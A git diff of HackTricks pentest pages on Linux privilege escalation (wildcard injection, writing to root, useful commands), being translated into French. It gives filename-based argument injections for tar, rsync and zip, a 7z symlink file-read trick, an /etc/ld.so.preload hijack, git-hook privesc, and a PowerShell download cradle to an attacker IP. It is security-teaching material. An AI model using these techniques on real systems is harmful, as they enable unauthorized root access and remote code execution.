[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
- - diff --git a/linux-hardening/privilege-escalation/wildcards-spare-tricks.md b/linux-hardening/privilege-escalation/wildcards-spare-tricks.md index 4b8dc03b1..2df1b3ab8 100644 --- a/linux-hardening/privilege-escalation/wildcards-spare-tricks.md +++ b/linux-hardening/privilege-escalation/wildcards-spare-tricks.md @@ -1,49 +1,42 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
## chown, chmod -You can **indicate which file owner and permissions you want to copy for the rest of the files** - +Vous pouvez **indiquer quel propriétaire de fichier et quelles autorisations vous souhaitez copier pour le reste des fichiers**. ```bash touch "--reference=/my/own/path/filename" ``` - -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(combined attack)_\ -__More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) +Vous pouvez exploiter cela en utilisant [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(attaque combinée)_\ +__Plus d'informations dans [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) ## Tar -**Execute arbitrary commands:** - +**Exécuter des commandes arbitraires:** ```bash touch "--checkpoint=1" touch "--checkpoint-action=exec=sh shell.sh" ``` - -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar attack)_\ -__More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) +Vous pouvez exploiter cela en utilisant [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(attaque tar)_\ +__Plus d'informations dans [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) ## Rsync -**Execute arbitrary commands:** - +**Exécuter des commandes arbitraires:** ```bash Interesting rsync option from manual: @@ -54,55 +47,43 @@ Interesting rsync option from manual: ```bash touch "-e sh shell.sh" ``` - -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(_rsync _attack)_\ -__More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) +Vous pouvez exploiter cela en utilisant [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(attaque rsync)_\ +__Plus d'informations dans [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) ## 7z -In **7z** even using `--` before `*` (note that `--` means that the following input cannot treated as parameters, so just file paths in this case) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root: - +Dans **7z**, même en utilisant `--` avant `*` (notez que `--` signifie que l'entrée suivante ne peut pas être traitée comme des paramètres, donc seulement des chemins de fichiers dans ce cas), vous pouvez provoquer une erreur arbitraire pour lire un fichier. Ainsi, si une commande comme celle-ci est exécutée par root: ```bash 7za a /backup/$filename.zip -t7z -snl -p$pass -- * ``` - -And you can create files in the folder were this is being executed, you could create the file `@root.txt` and the file `root.txt` being a **symlink** to the file you want to read: - +Et vous pouvez créer des fichiers dans le dossier où cela est exécuté, vous pouvez créer le fichier `@root.txt` et le fichier `root.txt` étant un **lien symbolique** vers le fichier que vous voulez lire: ```bash cd /path/to/7z/acting/folder touch @root.txt ln -s /file/you/want/to/read root.txt ``` +Ensuite, lorsque **7z** est exécuté, il traitera `root.txt` comme un fichier contenant la liste des fichiers qu'il doit compresser (c'est ce que l'existence de `@root.txt` indique) et lorsqu'il lit `root.txt`, il lit `/file/you/want/to/read` et **comme le contenu de ce fichier n'est pas une liste de fichiers, il générera une erreur** en affichant le contenu. -Then, when **7z** is execute, it will treat `root.txt` as a file containing the list of files it should compress (thats what the existence of `@root.txt` indicates) and when it 7z read `root.txt` it will read `/file/you/want/to/read` and **as the content of this file isn't a list of files, it will throw and error** showing the content. - -_More info in Write-ups of the box CTF from HackTheBox._ +_Plus d'informations dans les Write-ups de la boîte CTF de HackTheBox._ ## Zip -**Execute arbitrary commands:** - +**Exécuter des commandes arbitraires :** ```bash zip name.zip files -T --unzip-command "sh -c whoami" ``` - -__ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
- - diff --git a/linux-hardening/privilege-escalation/write-to-root.md b/linux-hardening/privilege-escalation/write-to-root.md index c7f8899ba..059cd0fe3 100644 --- a/linux-hardening/privilege-escalation/write-to-root.md +++ b/linux-hardening/privilege-escalation/write-to-root.md @@ -1,24 +1,23 @@ -# Arbitrary File Write to Root +# Écriture de fichier arbitraire vers root
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
### /etc/ld.so.preload -This file behaves like **`LD_PRELOAD`** env variable but it also works in **SUID binaries**.\ -If you can create it or modify it, you can just add a **path to a library that will be loaded** with each executed binary. - -For example: `echo "/tmp/pe.so" > /etc/ld.so.preload` +Ce fichier se comporte comme la variable d'environnement **`LD_PRELOAD`** mais il fonctionne également dans les binaires **SUID**.\ +Si vous pouvez le créer ou le modifier, vous pouvez simplement ajouter un **chemin vers une bibliothèque qui sera chargée** avec chaque binaire exécuté. +Par exemple : `echo "/tmp/pe.so" > /etc/ld.so.preload` ```c #include #include @@ -33,12 +32,11 @@ void _init() { //cd /tmp //gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` - ### Git hooks -[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) are **scripts** that are **run** on various **events** in a git repository ñlike when a commit is created, a merge... So if a **privileged script or user** is performing this actions frequently and it's possible to **write in the `.git` folder**, this can be used to **privesc**. +Les **Git hooks** sont des **scripts** qui sont **exécutés** sur différents **événements** dans un dépôt git, comme lorsqu'un commit est créé, une fusion... Ainsi, si un **script ou un utilisateur privilégié** effectue fréquemment ces actions et qu'il est possible d'**écrire dans le dossier `.git`**, cela peut être utilisé pour **escalader les privilèges**. -For example, It's possible to **generate a script** in a git repo in **`.git/hooks`** so it's always executed when a new commit is created: +Par exemple, il est possible de **générer un script** dans un dépôt git dans **`.git/hooks`** afin qu'il soit toujours exécuté lorsqu'un nouveau commit est créé: {% code overflow="wrap" %} ```bash @@ -51,10 +49,10 @@ chmod +x pre-commit ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/linux-hardening/useful-linux-commands/README.md b/linux-hardening/useful-linux-commands/README.md index 03e08e5fb..6b17a8bdb 100644 --- a/linux-hardening/useful-linux-commands/README.md +++ b/linux-hardening/useful-linux-commands/README.md @@ -1,10 +1,9 @@ -# Useful Linux Commands +# Commandes utiles de Linux ![](<../../.gitbook/assets/image (9) (1) (2).png>) -\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour créer et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -12,16 +11,15 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. -## Common Bash - +## Bash commun ```bash #Exfiltration using Base64 base64 -w 0 file @@ -140,17 +138,14 @@ sudo chattr -i file.txt #Remove the bit so you can delete it # List files inside zip 7z l file.zip ``` - ![](<../../.gitbook/assets/image (9) (1) (2).png>) -\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez un accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Bash for Windows - +## Bash pour Windows ```bash #Base64 for Windows echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 @@ -170,9 +165,17 @@ python pyinstaller.py --onefile exploit.py #sudo apt-get install gcc-mingw-w64-i686 i686-mingw32msvc-gcc -o executable useradd.c ``` - ## Greps +Les commandes `grep` sont très utiles pour rechercher des chaînes de caractères dans des fichiers. Voici quelques exemples d'utilisation : + +- `grep "motif" fichier` : recherche le motif dans le fichier. +- `grep -r "motif" dossier` : recherche le motif dans tous les fichiers du dossier (et de ses sous-dossiers). +- `grep -i "motif" fichier` : recherche le motif dans le fichier, sans tenir compte de la casse. +- `grep -v "motif" fichier` : affiche toutes les lignes qui ne contiennent pas le motif. +- `grep -E "motif1|motif2" fichier` : recherche soit le motif1, soit le motif2 dans le fichier (utilisation des expressions régulières). +- `grep -n "motif" fichier` : affiche le numéro de ligne de chaque occurrence du motif dans le fichier. +- `grep -c "motif" fichier` : affiche le nombre de lignes contenant le motif dans le fichier. ```bash #Extract emails from file grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt @@ -252,25 +255,143 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt #Extract ISBN Numbers egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt ``` - -## Nmap search help - +## Aide à la recherche Nmap ```bash #Nmap scripts ((default or version) and smb)) nmap --script-help "(default or version) and *smb*" locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb nmap --script-help "(default or version) and smb)" ``` - ## Bash +## Description +Bash est un shell Unix populaire et largement utilisé. Il est également le shell par défaut sur la plupart des distributions Linux. + +## Commandes utiles + +### Navigation + +- `cd [directory]`: Change le répertoire courant en `directory`. +- `pwd`: Affiche le chemin absolu du répertoire courant. +- `ls`: Liste les fichiers et répertoires dans le répertoire courant. +- `ls -l`: Liste les fichiers et répertoires dans le répertoire courant avec des informations détaillées. +- `ls -a`: Liste les fichiers et répertoires dans le répertoire courant, y compris les fichiers cachés. +- `ls -la`: Liste les fichiers et répertoires dans le répertoire courant avec des informations détaillées, y compris les fichiers cachés. + +### Manipulation de fichiers + +- `touch [filename]`: Crée un nouveau fichier avec le nom `filename`. +- `cat [filename]`: Affiche le contenu du fichier `filename`. +- `nano [filename]`: Ouvre le fichier `filename` dans l'éditeur de texte Nano. +- `vi [filename]`: Ouvre le fichier `filename` dans l'éditeur de texte Vi. +- `cp [source] [destination]`: Copie le fichier `source` vers `destination`. +- `mv [source] [destination]`: Déplace le fichier `source` vers `destination`. +- `rm [filename]`: Supprime le fichier `filename`. +- `mkdir [directory]`: Crée un nouveau répertoire avec le nom `directory`. +- `rmdir [directory]`: Supprime le répertoire vide `directory`. + +### Gestion des processus + +- `ps`: Affiche les processus en cours d'exécution. +- `ps -ef`: Affiche tous les processus en cours d'exécution avec des informations détaillées. +- `kill [process_id]`: Tue le processus avec l'ID `process_id`. +- `killall [process_name]`: Tue tous les processus avec le nom `process_name`. + +### Gestion des utilisateurs + +- `whoami`: Affiche le nom d'utilisateur actuel. +- `useradd [username]`: Crée un nouvel utilisateur avec le nom `username`. +- `userdel [username]`: Supprime l'utilisateur `username`. +- `passwd [username]`: Change le mot de passe de l'utilisateur `username`. + +### Réseau + +- `ping [host]`: Envoie une requête ICMP à `host`. +- `wget [url]`: Télécharge le fichier à partir de `url`. +- `curl [url]`: Affiche le contenu de `url`. +- `ifconfig`: Affiche les informations de configuration réseau. + +### Autres + +- `history`: Affiche l'historique des commandes précédemment exécutées. +- `sudo [command]`: Exécute la commande `command` avec des privilèges d'administrateur. +- `chmod [permissions] [filename]`: Modifie les permissions du fichier `filename` en `permissions`. ```bash #All bytes inside a file (except 0x20 and 0x00) for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done ``` - ## Iptables +Iptables est un pare-feu de paquets pour Linux. Il permet de filtrer les paquets en fonction de divers critères tels que l'adresse IP source, l'adresse IP de destination, le port source, le port de destination, etc. Iptables est une commande très puissante et complexe, mais elle peut être très utile pour sécuriser votre système Linux. + +### Syntaxe de base + +La syntaxe de base d'Iptables est la suivante : + +```bash +iptables -A -p --dport -j +``` + +- `` : la chaîne à laquelle ajouter la règle (INPUT, OUTPUT, FORWARD) +- `` : le protocole à filtrer (TCP, UDP, ICMP, etc.) +- `` : le port à filtrer +- `` : l'action à effectuer si la règle est vérifiée (ACCEPT, DROP, REJECT, etc.) + +### Exemples + +- Bloquer tout le trafic entrant : + +```bash +iptables -P INPUT DROP +``` + +- Autoriser tout le trafic sortant : + +```bash +iptables -P OUTPUT ACCEPT +``` + +- Autoriser le trafic entrant sur le port 22 (SSH) : + +```bash +iptables -A INPUT -p tcp --dport 22 -j ACCEPT +``` + +- Autoriser le trafic entrant sur le port 80 (HTTP) : + +```bash +iptables -A INPUT -p tcp --dport 80 -j ACCEPT +``` + +- Autoriser le trafic entrant sur le port 443 (HTTPS) : + +```bash +iptables -A INPUT -p tcp --dport 443 -j ACCEPT +``` + +- Autoriser le trafic entrant provenant d'une adresse IP spécifique : + +```bash +iptables -A INPUT -s -j ACCEPT +``` + +- Autoriser le trafic sortant vers une adresse IP spécifique : + +```bash +iptables -A OUTPUT -d -j ACCEPT +``` + +- Voir les règles actuelles : + +```bash +iptables -L +``` + +- Supprimer une règle : + +```bash +iptables -D +``` ```bash #Delete curent rules and chains iptables --flush @@ -301,23 +422,22 @@ iptables -P INPUT DROP iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md b/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md index 279f141d8..39a12980e 100644 --- a/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md +++ b/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md @@ -1,37 +1,42 @@ -# Bypass Linux Shell Restrictions +# Contourner les restrictions de shell Linux
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans 